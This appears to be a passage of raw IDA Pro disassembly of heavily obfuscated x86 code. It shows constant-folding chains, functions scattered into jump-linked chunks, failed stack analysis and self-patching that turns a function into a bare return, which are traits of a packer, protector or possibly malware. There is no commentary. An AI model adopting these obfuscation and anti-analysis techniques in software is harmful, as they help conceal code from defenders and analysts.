loc_446407:				; CODE XREF: sub_44739D+6A59j
		jmp	loc_43EA2B
; END OF FUNCTION CHUNK	FOR sub_4407E7

; =============== S U B	R O U T	I N E =======================================



sub_44640C	proc near		; DATA XREF: sub_4418C2-7777o

; FUNCTION CHUNK AT 00443C14 SIZE 0000000F BYTES

		push	4AFC7928h
		pop	ecx
		or	ecx, 0D54862B7h
		sub	ecx, 5736C5E4h
		rol	ecx, 10h
		sub	ecx, 0C703367Fh
		add	ecx, 11698F36h
		mov	[ecx], eax
		jmp	loc_443C14
sub_44640C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B82

loc_446434:				; CODE XREF: sub_439B82:loc_43F1FBj
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, eax
		xchg	ecx, [esp-4+arg_0]
		push	edi
		push	5727FB70h
		pop	edi
		add	edi, 1FFD4348h
		or	edi, 897DD1F6h
		jmp	loc_44BC51
; END OF FUNCTION CHUNK	FOR sub_439B82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_446454:				; CODE XREF: sub_4418C2:loc_443364j
		sub	eax, 2689F3A2h
		test	edi, eax
		jmp	loc_440C83
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_446461:				; CODE XREF: sub_44C198:loc_44936Aj
		pop	esi
		rol	esi, 16h
		xor	esi, 0F17181D2h
		or	esi, 0CCB49CC0h
		push	offset loc_43DA26
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_44C198

; =============== S U B	R O U T	I N E =======================================



sub_44647B	proc near		; DATA XREF: kgbikm34:0044958Ao

; FUNCTION CHUNK AT 0043917A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00440086 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A818 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B1BF SIZE 00000005 BYTES

		push	0DA35DF92h
		pop	esi
		and	esi, 161631E1h
		add	esi, 933971DAh
		and	esi, 6FF85CBEh
		cmp	esi, 6CC4BE99h
		jmp	loc_43917A
sub_44647B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44649E	proc near		; CODE XREF: kgbikm34:004386E8j
					; sub_447193:loc_44840Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439506 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BAF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C091 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043C538 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E5D9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043FB16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044051E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044191B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442066 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044259F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444456 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444A72 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00444B08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004454E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004456CA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00445F29 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446612 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00447E3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449A3D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A58D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A931 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044AD0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BD70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BF71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D685 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_4456CA
		jmp	loc_43C538
sub_44649E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_4464B1:				; CODE XREF: sub_44CABC-14622j
		jns	loc_43A45F
		add	eax, 0A4B7D534h
		add	eax, 0A7E80D2Bh
		cdq
		adc	edx, ebp

loc_4464C6:				; CODE XREF: sub_44CABC:loc_438492j
		and	edi, 3445FF1Fh
		add	edi, 0D64E580Ah
		xor	eax, edi
		jmp	loc_445A76
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_4464D9:				; CODE XREF: sub_444002+8BA7j
		mov	[ebx], edx
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_444002
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_4464DC:				; CODE XREF: sub_43EA97:loc_44893Dj
					; kgbikm34:0044A304j
		xchg	eax, edx
		call	sub_442F26

loc_4464E2:				; CODE XREF: sub_449893-22CAj
		push	8F62C567h
		not	edx
		jb	loc_449FE7
		add	eax, edx
		jmp	loc_442C69
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------

loc_4464F6:				; CODE XREF: kgbikm34:0043F0A0j
		jnz	loc_43BB09

; =============== S U B	R O U T	I N E =======================================



sub_4464FC	proc near		; CODE XREF: kgbikm34:0044461Bp

; FUNCTION CHUNK AT 0043CF89 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004467B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AD25 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	0BB1B94CAh
		pop	ebx
		jmp	loc_4467B3
sub_4464FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_44650C:				; CODE XREF: sub_44B6F1-145CDj
		add	esi, 76D31557h
		mov	[esi], eax
		pop	esi

loc_446515:				; CODE XREF: kgbikm34:0043D828j
		jmp	loc_4437DF
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_44651A:				; CODE XREF: sub_44ADC2+4j
		push	2F3427C2h
		jmp	loc_43F95D
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_446524:				; CODE XREF: kgbikm34:0043E3A5j
		push	ecx
		push	877BEF06h
		pop	ecx
		or	ecx, 33522CC8h
		add	ecx, 48C87C82h
		mov	[ecx], eax
		jmp	loc_439637
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44653F:				; CODE XREF: kgbikm34:00448B89j
		jmp	loc_448E6A
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_4385AB
; ---------------------------------------------------------------------------

loc_44654A:				; CODE XREF: kgbikm34:004481EEj
		rol	edi, 0Bh
		add	edi, 0A36A08E6h
		xchg	edi, [esp]
		jmp	loc_43A8CD
; ---------------------------------------------------------------------------

loc_44655B:				; CODE XREF: kgbikm34:00438659j
		xchg	esi, [esp]
		mov	eax, edx
		nop
		push	offset sub_4386FC
		jmp	locret_44BDEC

; =============== S U B	R O U T	I N E =======================================



sub_44656B	proc near		; CODE XREF: kgbikm34:0043A60Fj
					; sub_44D545+3p

arg_0		= dword	ptr  4
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0043B452 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004441F9 SIZE 0000001A BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		xchg	ebp, [esp+0]
		mov	ecx, [esp+10h]
		jmp	loc_4441F9
sub_44656B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_44657B:				; CODE XREF: sub_444864:loc_449B30j
		pushf
		cdq
		xor	ebx, ebp
		and	ebp, 6FD0305Eh
		jmp	sub_443DDD
; END OF FUNCTION CHUNK	FOR sub_444864

; =============== S U B	R O U T	I N E =======================================



sub_44658A	proc near		; CODE XREF: kgbikm34:0044286Dj
					; sub_444051+4F2Ap
		xchg	edi, [esp+0]
		pop	edi
		push	0B2749745h
		pop	eax
		and	eax, 5F7FB3F3h
		sub	eax, 0B371E87Eh
		and	eax, 212028DBh
		jmp	loc_447257
sub_44658A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4465AB:				; CODE XREF: kgbikm34:0044BE2Aj
		xchg	ebx, [esp]
		call	sub_447B31
		mov	eax, 0E5254649h
		push	esi
		push	0A0304283h
		pop	esi
		jmp	loc_447A01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_4465C4:				; CODE XREF: sub_440834:loc_43A061j
		mov	eax, esp
		push	0
		mov	edx, esp
		push	edx
		jmp	loc_43F74F
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4465D0:				; CODE XREF: sub_439BDE+71CCj
		mov	edx, eax
		jmp	loc_442EFE
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_4465D7:				; CODE XREF: kgbikm34:00438E65j
		mov	edx, ds:dword_43B2C0
		or	edx, edx
		jnz	loc_43C91C
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_4465E5:				; CODE XREF: sub_446F79:loc_439E14j
		jmp	loc_44DF20
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------

locret_4465EA:				; CODE XREF: kgbikm34:loc_43FE13j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_4465EB:				; CODE XREF: sub_43C638-4FCj
		jmp	loc_446A6D
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_4465F0:				; CODE XREF: sub_4478CD:loc_44A4D6j
		jge	loc_44143D

loc_4465F6:				; CODE XREF: kgbikm34:0044ACAFj
		jmp	loc_4436AE
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
		pushf
		pop	ebx
		jmp	loc_441437
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_446603:				; CODE XREF: sub_447DA2+3BEAj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_447DA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B051

loc_446608:				; CODE XREF: sub_43B051+9j
		push	offset loc_43D916
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_43B051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_446612:				; CODE XREF: sub_44649E+35A8j
		mov	[ebp+0], edi
; END OF FUNCTION CHUNK	FOR sub_44649E
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_446615:				; CODE XREF: sub_43B0B7-22BAj
					; sub_43B0B7+Aj ...
		jmp	loc_43E6B8
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44661A:				; CODE XREF: sub_43B0B7+1656j
					; sub_439587+DBBFj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44661D	proc near		; CODE XREF: sub_44B34A-11A66p
					; sub_44DA2B-12544p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004411FD SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_4411FD
sub_44661D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_446626:				; CODE XREF: sub_44A1F9:loc_440BE6j
		jz	loc_4495A1
		jmp	loc_44620F
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; ---------------------------------------------------------------------------

loc_446631:				; CODE XREF: kgbikm34:0043ADBCj
		shl	edi, 4

; =============== S U B	R O U T	I N E =======================================



sub_446634	proc near		; CODE XREF: sub_437429+Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00448636 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp-4+arg_0]
		jmp	loc_448636
sub_446634	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_446640:				; CODE XREF: sub_43EB3F:loc_44917Ej
		xor	eax, 90FE2457h
		add	eax, ebp
		call	sub_4492B9

loc_44664D:				; CODE XREF: sub_443DAB-6EBFj
		jmp	loc_4413DA
; END OF FUNCTION CHUNK	FOR sub_43EB3F

; =============== S U B	R O U T	I N E =======================================



sub_446652	proc near		; CODE XREF: sub_445CCB-61BFp
					; kgbikm34:00441CF2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00447063 SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	5F2ECA28h
		pop	ecx
		or	ecx, 0CFD7EA0Ah
		jmp	loc_447063
sub_446652	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_446668:				; CODE XREF: sub_444BCC-7671j
		push	edx
		push	44635E0Bh
		pop	edx
		add	edx, 9826B0FDh
		xor	edx, 9A403B8h
		rol	edx, 0Eh
		sub	edx, 0E9AE6420h
		jmp	loc_442E36
; END OF FUNCTION CHUNK	FOR sub_444BCC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44668A:				; CODE XREF: kgbikm34:004460B4j
		jmp	loc_441DD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_44668F:				; CODE XREF: sub_441D2F-2DC6j
		or	edx, 0AC8288A3h
		xor	edx, 0A3B047DCh
		popf
		add	eax, edx
		jmp	loc_43B7C5
; END OF FUNCTION CHUNK	FOR sub_441D2F

; =============== S U B	R O U T	I N E =======================================



sub_4466A3	proc near		; CODE XREF: sub_444F06+3p
					; kgbikm34:00449DE6j

; FUNCTION CHUNK AT 004386D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438FA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043966C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D2C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044111A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004474C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004479AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CBD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447D16 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B5B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044BCCA SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_4479AC
sub_4466A3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4466B0:				; CODE XREF: kgbikm34:004387F9j
		add	edi, ebp
		add	edi, 89AD9489h
		mov	edi, [edi]
		cmp	eax, edi
		pop	edi
		jnz	loc_4462C2
		jmp	loc_43D28D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_4466C8:				; CODE XREF: sub_4446F8-3803j
		xchg	edi, esi

loc_4466CA:				; CODE XREF: sub_4446F8:loc_444DCDj
		lea	eax, [ebp-12Dh]
		push	eax
		push	edi
		push	0F4A3797Eh
		pop	edi
		or	edi, 5C39EE93h
		jmp	loc_44478B
; END OF FUNCTION CHUNK	FOR sub_4446F8

; =============== S U B	R O U T	I N E =======================================



sub_4466E3	proc near		; CODE XREF: sub_44B47A:loc_43C357p
					; sub_44BFB7:loc_44BFBFp
		push	ebp
		push	offset loc_444F9C
		jmp	nullsub_84
sub_4466E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6F1

loc_4466EE:				; CODE XREF: sub_44C6F1+1Aj
		add	edi, 74A2834h
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_44C6F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_4466F8:				; CODE XREF: sub_439F72-14Bj
					; sub_44527A-1F4Fj
		rol	eax, 4
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+8+var_8]
		jmp	loc_44D158
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_446706:				; CODE XREF: sub_444BCC:loc_445D49j
		mov	edx, 31DBF784h
		xor	ecx, ebp
		jmp	loc_43799D
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B292

loc_446712:				; CODE XREF: sub_44B292:loc_43CB7Dj
		xchg	esi, [esp+4+var_4]
		mov	eax, esi
		pop	esi
		add	eax, 1E76CCA8h
		or	eax, 0C73A5ACBh
		jmp	loc_446C5F
; END OF FUNCTION CHUNK	FOR sub_44B292
; ---------------------------------------------------------------------------
		call	nullsub_373
		call	nullsub_372
		call	nullsub_371
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_446738:				; CODE XREF: sub_449D59:loc_4434BDj
		mov	eax, [ebp-4]
		push	offset sub_44DAE4
		jmp	loc_4472F1
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
		jge	sub_443622
		jmp	loc_43FA6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443643

loc_446750:				; CODE XREF: sub_443643-4D85j
		jge	loc_4403B0
		shl	edi, 1Ah
		jmp	loc_439401
; END OF FUNCTION CHUNK	FOR sub_443643
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_44675F:				; CODE XREF: sub_43CECD-2374j
		jmp	loc_43A2D8
; END OF FUNCTION CHUNK	FOR sub_43CECD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_446765:				; CODE XREF: sub_43A6C7+8113j
		rol	eax, 1Bh
		push	eax
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------

loc_44676F:				; CODE XREF: kgbikm34:0044B0D4j
		jmp	loc_4495E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E64C

loc_446774:				; CODE XREF: sub_43E64C+Dj
		jmp	loc_4447BF
; END OF FUNCTION CHUNK	FOR sub_43E64C

; =============== S U B	R O U T	I N E =======================================



sub_446779	proc near		; CODE XREF: sub_43DC06+9p
					; sub_43D494:loc_44025Cj ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A404 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CC68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D0C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00443B60 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00445D44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448171 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D99F SIZE 00000021 BYTES

		push	ebp
		mov	ebp, eax
		jmp	loc_445D44
sub_446779	endp

; ---------------------------------------------------------------------------
		mov	eax, 19CFC62Bh
		push	ecx
		push	60BA6876h
		pop	ecx
		and	ecx, 49C0C33Dh
		xor	ecx, 5DB4BC76h
		rol	ecx, 0Eh
		add	ecx, 0C1335EEBh
		jmp	loc_43BC32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB87

loc_4467A7:				; CODE XREF: sub_43CB87:loc_44D420j
		mov	al, [eax]
		call	sub_446F79
; END OF FUNCTION CHUNK	FOR sub_43CB87
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_4467AE:				; CODE XREF: sub_43DF5B+9C6Aj
		jmp	loc_439BBB
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4464FC

loc_4467B3:				; CODE XREF: sub_4464FC+Bj
		jmp	loc_43CF89
; END OF FUNCTION CHUNK	FOR sub_4464FC
; ---------------------------------------------------------------------------

loc_4467B8:				; CODE XREF: kgbikm34:0044734Fj
		jo	loc_43D49E
		mov	esi, [ebx]
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_4467C0:				; CODE XREF: sub_43CAB5:loc_44732Aj
		add	eax, 8CA4B034h
		push	edi
		push	0E975FE2h
		jmp	loc_440A4D
; END OF FUNCTION CHUNK	FOR sub_43CAB5

; =============== S U B	R O U T	I N E =======================================



sub_4467D1	proc near		; CODE XREF: kgbikm34:00442A15p
					; kgbikm34:0044A123j

; FUNCTION CHUNK AT 0043D7C1 SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	esi
		mov	esi, offset loc_44D0BC
		jmp	loc_43D7C1
sub_4467D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_4467E0:				; CODE XREF: sub_43ACD5+3A92j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]

loc_4467E6:				; CODE XREF: kgbikm34:loc_439A69j
		mov	al, [eax]
		jnb	loc_43A0BC
		sub	al, 99h
		push	0AE4371CAh
		jmp	loc_43CE10
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44744C

loc_4467FA:				; CODE XREF: sub_44744C:loc_447ECCj
		pop	ebx
		or	edx, 0FA4082EAh
		push	offset loc_439EC0
		jmp	loc_44B39E
; END OF FUNCTION CHUNK	FOR sub_44744C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B90

loc_44680C:				; CODE XREF: sub_439B90-8D9j
		jmp	loc_449FF0
; END OF FUNCTION CHUNK	FOR sub_439B90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438978

loc_446811:				; CODE XREF: sub_438978+6j
		jmp	loc_44BB3C
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------
		push	82052761h
		pop	eax
		rol	eax, 1Dh
		add	eax, 0D2D8B447h
		call	sub_440F62
		push	ecx
		jmp	loc_43FC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_446830:				; CODE XREF: sub_43D494+3528j
		sub	ebx, 150894ABh
		jmp	loc_43A297
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_44683B:				; CODE XREF: kgbikm34:0043FF9Bj
		jl	loc_440E79
		or	eax, 57DFCA35h
		adc	esi, 76F76FA6h
		ror	ebx, 11h
		and	edx, 0DA8ECC3Ch
		jmp	loc_440E79
; ---------------------------------------------------------------------------
		call	sub_445D55
		push	0BC624137h
		push	offset loc_439902
		jmp	locret_43966B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_446870:				; CODE XREF: sub_44D21F-B48Bj
		jmp	loc_43B1E6
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------

loc_446875:				; CODE XREF: kgbikm34:0043EFD3j
		jmp	nullsub_282
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444296

loc_44687A:				; CODE XREF: sub_444296:loc_43D3E1j
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_444296
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44687F:				; CODE XREF: sub_44B20C-12556j
					; kgbikm34:loc_43BF93j
		mov	edi, 0D73008F5h
		xor	ecx, edx
		add	edx, edi

loc_446888:				; CODE XREF: sub_44B20C:loc_443D47j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_44695A
; END OF FUNCTION CHUNK	FOR sub_44B20C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFC1

loc_446894:				; CODE XREF: sub_43CFC1:loc_43CBC8j
		pop	ecx
		add	ecx, 0E38FCCA6h
		xor	ecx, 6853B371h
		push	offset sub_43AB97
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_43CFC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_4468AB:				; CODE XREF: sub_43A179+D54Aj
		push	33746EF3h
		pop	eax
		sub	eax, 9FA130E5h
		add	eax, 6C70D65Ah
		xchg	eax, [esp-4+arg_0]
		jmp	loc_44BF61
; END OF FUNCTION CHUNK	FOR sub_43A179

; =============== S U B	R O U T	I N E =======================================



sub_4468C5	proc near		; DATA XREF: sub_442E5A+8F06o

; FUNCTION CHUNK AT 00440081 SIZE 00000005 BYTES

		add	eax, 0FE236505h
		xchg	eax, [esp+0]
		jmp	loc_440081
sub_4468C5	endp

; ---------------------------------------------------------------------------

loc_4468D3:				; CODE XREF: kgbikm34:0043DA14j
		jl	loc_43F45C
		mov	[edx], edi
		jmp	sub_43E6BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_4468E0:				; CODE XREF: sub_4396AA+5EDBj
		xchg	ecx, [esp+0]
		call	sub_43A4A3
		mov	eax, 9E471775h
		call	sub_43BF6F
		jmp	loc_4458A8
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------
		mov	ds:dword_41E184, eax
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FFE5
; ---------------------------------------------------------------------------

loc_44690B:				; CODE XREF: kgbikm34:0043ADF3j
		mov	eax, [esp]
		push	edx
		jmp	loc_44DE25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_446914:				; CODE XREF: sub_447FC7-EBCBj
		pushf

loc_446915:				; CODE XREF: kgbikm34:loc_43B79Fj
		sbb	ebx, ebp
		jmp	loc_447224
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------

loc_44691C:				; CODE XREF: kgbikm34:loc_445655j
		mov	edx, ecx
		shr	ecx, 8
		jmp	loc_43B37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E25

loc_446926:				; CODE XREF: sub_442E25:loc_442E36j
		add	edx, 66C690DEh
		call	sub_43FA2B

loc_446931:				; CODE XREF: kgbikm34:0043AA2Cj
		push	ebx

loc_446932:				; CODE XREF: kgbikm34:loc_43AA12j
		and	esi, 0C3E4E123h
		add	esi, 0BC9D603Eh
		push	offset loc_43D103
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_442E25
; ---------------------------------------------------------------------------

loc_446948:				; CODE XREF: kgbikm34:0043A191j
		jz	loc_43FA5A
		jmp	loc_4398EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_446955:				; CODE XREF: kgbikm34:0044A30Aj
		jmp	loc_43B5EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44695A:				; CODE XREF: sub_44B20C-497Ej
		jmp	loc_43F343
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------

loc_44695F:				; CODE XREF: kgbikm34:00444FB0j
		jmp	loc_44A1CA
; ---------------------------------------------------------------------------

loc_446964:				; CODE XREF: kgbikm34:0043CD95j
		ror	eax, 1Dh
		push	edx
		push	3A5CB24Dh
		pop	edx
		rol	edx, 1Fh
		jmp	loc_447D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_446976:				; CODE XREF: sub_4395BB+6BE4j
		sub	edx, 2A83A485h
		add	edx, 0AB1831E8h
		xchg	edx, [esp-10h+arg_C]
		jmp	loc_438FD3
; END OF FUNCTION CHUNK	FOR sub_4395BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44698B:				; CODE XREF: sub_439587+130F8j
		jmp	sub_4487F2
